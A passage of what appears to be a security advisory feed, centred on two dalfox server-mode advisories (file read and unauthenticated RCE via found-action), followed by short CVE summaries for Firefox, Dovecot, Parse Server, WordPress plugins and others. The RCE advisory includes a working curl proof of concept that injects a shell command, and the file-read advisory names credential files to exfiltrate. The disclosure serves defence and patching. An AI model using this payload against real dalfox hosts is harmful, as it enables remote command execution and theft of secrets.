`~/.ssh/id_rsa`, `/run/secrets/db_password`, `/proc/self/environ`). ## Impact - **Arbitrary file read** on the dalfox host: any file readable by the dalfox process (SSH private keys, TLS certificates, `.env` files, cloud credential files, `/proc/self/environ`) can be exfiltrated one line at a time. - **No authentication required** under the default configuration. - The exfiltration channel is the dalfox host's own outbound HTTP scan traffic — no inbound connection from the attacker to the dalfox host is needed beyond the initial REST API call. - Combined with the `found-action` RCE finding (separate issue), an attacker could first read `/proc/self/environ` to harvest secrets, then execute commands. ## Recommended Remediation ### Option 1: Strip filesystem-dangerous fields from API-sourced requests (preferred) Apply a denylist of fields that should never be accepted from the REST API, regardless of auth state. This protects authenticated deployments against credential-theft or privilege escalation by external API consumers: ```go // pkg/server/server.go — in postScanHandler, before ScanFromAPI: rq.Options.CustomPayloadFile = "" rq.Options.CustomBlindXSSPayloadFile = "" rq.Options.FoundAction = "" rq.Options.FoundActionShell = "" rq.Options.OutputFile = "" rq.Options.HarFilePath = "" ``` ### Option 2: Require `--api-key` at server startup Make authentication mandatory and refuse to start without it: ```go // cmd/server.go — in runServerCmd: if serverType == "rest" && apiKey == "" { fmt.Fprintln(os.Stderr, "ERROR: --api-key is required when running in REST server mode.") os.Exit(1) } ``` Both options should be applied together. Option 2 prevents unauthenticated access to the API entirely; Option 1 ensures that even trusted API callers cannot leverage the server to read files from the host filesystem. ##Credit Emmanuel David Github:- https://github.com/drmingler

# GHSA: Unauthenticated Remote Code Execution via `found-action` in Dalfox Server Mode ## Summary When dalfox is started in REST API server mode (`dalfox server`), the server binds to `0.0.0.0:6664` by default and requires no API key unless the operator explicitly passes `--api-key`. Because `model.Options` — including `FoundAction` and `FoundActionShell` — is deserialized directly from attacker-supplied JSON in `POST /scan`, and because `dalfox.Initialize` explicitly propagates those two fields into the final scan options without stripping them, any unauthenticated caller who can reach the server port can supply an arbitrary shell command that the dalfox process will execute on the host whenever a scan finding is triggered. ## Severity **Critical** (CVSS 3.1: 10.0) `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H` - **Attack Vector:** Network — the server binds to `0.0.0.0` by default; reachable by any network peer. - **Attack Complexity:** Low — the attacker fully controls the scanned URL and can trivially host a one-line reflective server to guarantee a finding is triggered. - **Privileges Required:** None — no API key is enforced in the default configuration. - **User Interaction:** None. - **Scope:** Changed — exploitation escapes the dalfox process boundary and executes arbitrary commands on the host OS. - **Confidentiality Impact:** High — full read access to the host filesystem and secrets in the process environment. - **Integrity Impact:** High — arbitrary file writes, code deployment, persistence mechanisms. - **Availability Impact:** High — process kill, resource exhaustion, service disruption. ## Affected Component - `cmd/server.go` — `init()` (line 51): `--api-key` defaults to `""` - `pkg/server/server.go` — `setupEchoServer()` (line 68): auth middleware only registered when `APIKey != ""` - `pkg/server/server.go` — `postScanHandler()` (lines 173–191): `rq.Options` passed to `ScanFromAPI` without sanitization - `lib/func.go` — `Initialize()` (lines 118–119): `FoundAction` / `FoundActionShell` explicitly propagated from caller options - `pkg/scanning/foundaction.go` — `foundAction()` (lines 17–18): `exec.Command(options.FoundActionShell, "-c", afterCmd)` executed unconditionally ## CWE - **CWE-306**: Missing Authentication for Critical Function - **CWE-78**: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') - **CWE-15**: External Control of System or Configuration Setting ## Description ### Opt-in Authentication with a Dangerous Default `cmd/server.go` registers the `--api-key` flag with an empty string default: ```go // cmd/server.go:51 serverCmd.Flags().StringVar(&apiKey, "api-key", "", "Specify the API key for server authentication...") ``` `setupEchoServer` only installs the `apiKeyAuth` middleware when that value is non-empty: ```go // pkg/server/server.go:68-70 if options.ServerType == "rest" && options.APIKey != "" { e.Use(apiKeyAuth(options.APIKey, options)) } ``` A server started without `--api-key` accepts every request on every route with no challenge. The `apiKeyAuth` implementation itself is correct — the flaw is purely in the opt-in condition that makes authentication off by default. ### Attacker-Controlled `Options` Reaches Shell Execution Without Stripping `POST /scan` deserializes the full `model.Options` struct from the JSON body: ```go // pkg/server/model.go:6-8 type Req struct { URL string `json:"url"` Options model.Options `json:"options"` } // pkg/server/server.go:173-191 rq := new(Req) if err := c.Bind(rq); err != nil { ... } go ScanFromAPI(rq.URL, rq.Options, *options, sid) ``` `model.Options` exposes both execution-control fields as JSON-tagged properties: ```go // pkg/model/options.go:83-84 FoundAction string `json:"found-action,omitempty"` FoundActionShell string `json:"found-action-shell,omitempty"` ``` `ScanFromAPI` builds the scan target directly from `rqOptions` and passes it to `dalfox.Initialize`: ```go // pkg/server/scan.go:22-27 target := dalfox.Target{ URL: url, Method: rqOptions.Method, Options: rqOptions, } newOptions := dalfox.Initialize(target, target.Options) ``` `Initialize` explicitly copies both fields into `newOptions` — there is no stripping path: ```go // lib/func.go:118-119 "FoundAction": {&newOptions.FoundAction, options.FoundAction}, "FoundActionShell": {&newOptions.FoundActionShell, options.FoundActionShell}, ``` ### Shell Execution on Any Finding `foundAction` is called from seven locations across `pkg/scanning/scanning.go` and `pkg/scanning/sendReq.go` whenever `options.FoundAction != ""` and any vulnerability is detected. None of these call sites check `options.IsAPI`: ```go // pkg/scanning/foundaction.go:12-18 func foundAction(options model.Options, target, query, ptype string) { afterCmd := options.FoundAction afterCmd = strings.ReplaceAll(afterCmd, "@@query@@", query) afterCmd = strings.ReplaceAll(afterCmd, "@@target@@", target) afterCmd = strings.ReplaceAll(afterCmd, "@@type@@", ptype) cmd := exec.Command(options.FoundActionShell, "-c", afterCmd) err := cmd.Run() ... } ``` Because the attacker supplies both the scan target URL and `found-action`, they trivially guarantee that a finding is produced (by hosting a one-line reflective server) and that the shell command is executed. ## Proof of Concept ```bash # Step 1 — Start a reflective XSS target (attacker-controlled) python3 - <<'PY' from http.server import BaseHTTPRequestHandler, HTTPServer from urllib.parse import urlparse, parse_qs class H(BaseHTTPRequestHandler): def do_GET(self): q = parse_qs(urlparse(self.path).query).get('q', [''])[0] body = f'<html><body>{q}</body></html>'.encode() self.send_response(200) self.send_header('Content-Type', 'text/html') self.send_header('Content-Length', str(len(body))) self.end_headers() self.wfile.write(body) def log_message(self, *a): pass HTTPServer(('127.0.0.1', 18081), H).serve_forever() PY # Step 2 — Start dalfox in REST server mode (default: 0.0.0.0:6664, no API key) go run . server --host 127.0.0.1 --port 16664 --type rest # Step 3 — POST unauthenticated scan request with found-action payload curl -s -X POST http://127.0.0.1:16664/scan \ -H 'Content-Type: application/json' \ --data '{ "url": "http://127.0.0.1:18081/?q=test", "options": { "found-action": "echo owned >/tmp/dalfox_rce_marker", "found-action-shell": "bash", "use-headless": false, "worker": 1, "limit-result": 1 } }' # Step 4 — Confirm arbitrary command executed on the dalfox host cat /tmp/dalfox_rce_marker # Expected output: owned ``` No `X-API-KEY` header is required. The reflective server ensures dalfox finds a vulnerability, which triggers `foundAction`. ## Impact - **Unauthenticated remote code execution** on any host running `dalfox server` in its default configuration. - Full read access to secrets, configuration files, and credentials visible to the dalfox process. - Arbitrary file writes: persistence, backdoor installation, data exfiltration staging. - Lateral movement using the dalfox host's network position and credentials. - The default `0.0.0.0` bind address means exposure to all network interfaces, including public-facing ones in misconfigured cloud environments. ## Recommended Remediation ### Option 1: Require API key — make `--api-key` mandatory (preferred) Reject server startup when no API key is provided and emit a loud warning. This is the lowest-risk fix because it protects all current and future routes without code changes to the scan path. ```go // cmd/server.go — in runServerCmd, before starting the server: if serverType == "rest" && apiKey == "" { fmt.Fprintln(os.Stderr, "ERROR: --api-key is required when running in REST server mode.") fmt.Fprintln(os.Stderr, " Generate a key with: openssl rand -hex 32") os.Exit(1) } ``` ### Option 2: Strip `FoundAction` / `FoundActionShell` from API-sourced requests Prevent untrusted callers from setting execution-control options regardless of auth state. This adds defence-in-depth and protects authenticated deployments against credential theft. ```go // pkg/server/server.go — in postScanHandler, before calling ScanFromAPI: rq.Options.FoundAction = "" rq.Options.FoundActionShell = "" ``` Both options should be applied together. Option 1 prevents unauthenticated access; Option 2 ensures that even authenticated callers (who may be external consumers of the REST API) cannot trigger host-level command execution. ##Credit Emmanuel David Github:- https://github.com/drmingler

Other issue in the JavaScript Engine component. This vulnerability was fixed in Firefox 150.0.3.

Use-after-free in the JavaScript: WebAssembly component. This vulnerability was fixed in Firefox 150.0.3.

JIT miscompilation in the JavaScript Engine: JIT component. This vulnerability was fixed in Firefox 150.0.3.

Incorrect boundary conditions in the JavaScript Engine: JIT component. This vulnerability was fixed in Firefox 150.0.3.

CWE-22: Improper Limitation of a Pathname to a Restricted Directory (“Path Traversal”) vulnerability that could cause unauthorized access to sensitive files when user-supplied input is improperly handled during server-side file path processing.

sealed-env is a cross-stack, zero-trust secret management library for Node.js and Java/Spring Boot. In sealed-env enterprise mode, versions 0.1.0-alpha.1 through 0.1.0-alpha.3 embedded the operator's literal TOTP secret in the JWS payload of every minted unseal token. JWS payload is base64-encoded JSON, NOT encrypted. Any party who could observe a minted token (CI build logs, container env dumps, kubectl describe pod, Sentry/Rollbar stack traces, log aggregators) could decode the payload and extract the TOTP secret in plaintext. This vulnerability is fixed in 0.1.0-alpha.4.

Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to 8.6.76 and 9.9.0-alpha.2, a race condition in the MFA SMS one-time password (OTP) login path allows two concurrent /login requests carrying the same OTP to both succeed and both receive valid session tokens, breaking the single-use property of the OTP. The vulnerability requires the attacker to already possess the victim's password and intercept the active SMS OTP (e.g. via SIM swap, network mirror, or phishing relay) and to race the legitimate login request, so the practical attack surface is narrow. This vulnerability is fixed in 8.6.76 and 9.9.0-alpha.2.

pam_authnft is a PAM session module binding nftables firewall rules to authenticated sessions via cgroupv2 inodes. Prior to 0.2.0-alpha, a heap buffer over-read in peer_lookup_tcp (src/peer_lookup.c:134, prior to the fix) allowed a crafted NETLINK_SOCK_DIAG reply to slip past the message-size check, then dereference past the end of the allocation. This vulnerability is fixed in 0.2.0-alpha.

An attacker can cause uncontrolled memory usage with excessive bracing over IMAP. The fix in CVE-2026-27857 was incomplete, only blocking one way of doing this, so there was still another way left open. In particular, the fix was for closing braces, but you could still use open braces to bypass the limit. Using excessive bracing, attacker can cause memory usage up to configured memory limit. Install fixed version, or configure vsz_limit for imap process to low value. No publicly available exploits are known.

Dell PowerScale InsightIQ, versions 5.0.0 through 6.2.0, contains an execution with unnecessary privileges vulnerability. A high privileged attacker with local access could potentially exploit this vulnerability, leading to elevation of privileges.

Attacker can use the IMAP SETACL command to inject the anyone permission to user's dovecot-acl file even if imap_acl_allow_anyone=no. This causes folders to be spammed to all users. The impact is limited to being able to spam folders to other users, no unexpected access is gained. Install to fixed version. No publicly available exploits are known.

Attacker can upload a malicious Sieve script over ManageSieve service (or locally) to bypass configured CPU time limits for Sieve up to 130 times of the configured limit. Attacker can use this to degrade server performance and bypass configured CPU time limits for Sieve scripts. Install fixed version, or alternatively prevent direct access to Sieve scripts via ManageSieve or local access. No publicly available exploits are known.

Dell PowerScale InsightIQ, versions 6.0.0 through 6.2.0, contains an improper neutralization of special elements used in an OS command ('OS Command Injection') vulnerability. A high privileged attacker with local access could potentially exploit this vulnerability, leading to Command execution.

Attacker can use a specially crafted base64 exchange between Dovecot and Client to fake SCRAM TLS channel binding. This requires that the attacker is able to position itself between Dovecot and the client connection. If successful, the attacker can eavesdrop communications between Dovecot and client as MITM proxy. Install fixed version. No publicly available exploits are known.

When safe filter is used with variable expansion, all following pipelines on the same string are incorrectly interpreted as safe too, enabling unsafe data to be unescaped. This can enable SQL / LDAP injection attacks when used in authentication. Avoid using safe filter until on fixed version. No publicly available exploits are known.

The affected applications contains a memory corruption vulnerability while parsing specially crafted IPT files. This could allow an attacker to execute code in the context of the current process. (ZDI-CAN-27349, ZDI-CAN-27389)

CWE‑331: Insufficient Entropy vulnerability exists that could lead to unauthorized access when an attacker on the network can exploit weaknesses in session‑management protections.

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in WP Travel WP Travel wp-travel allows Blind SQL Injection.This issue affects WP Travel: from n/a through <= 11.4.0.

Insertion of Sensitive Information Into Sent Data vulnerability in Saad Iqbal WP EasyPay wp-easy-pay allows Retrieve Embedded Sensitive Data.This issue affects WP EasyPay: from n/a through <= 4.3.0.

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Xpro Xpro Elementor Addons xpro-elementor-addons allows Blind SQL Injection.This issue affects Xpro Elementor Addons: from n/a through <= 1.5.1.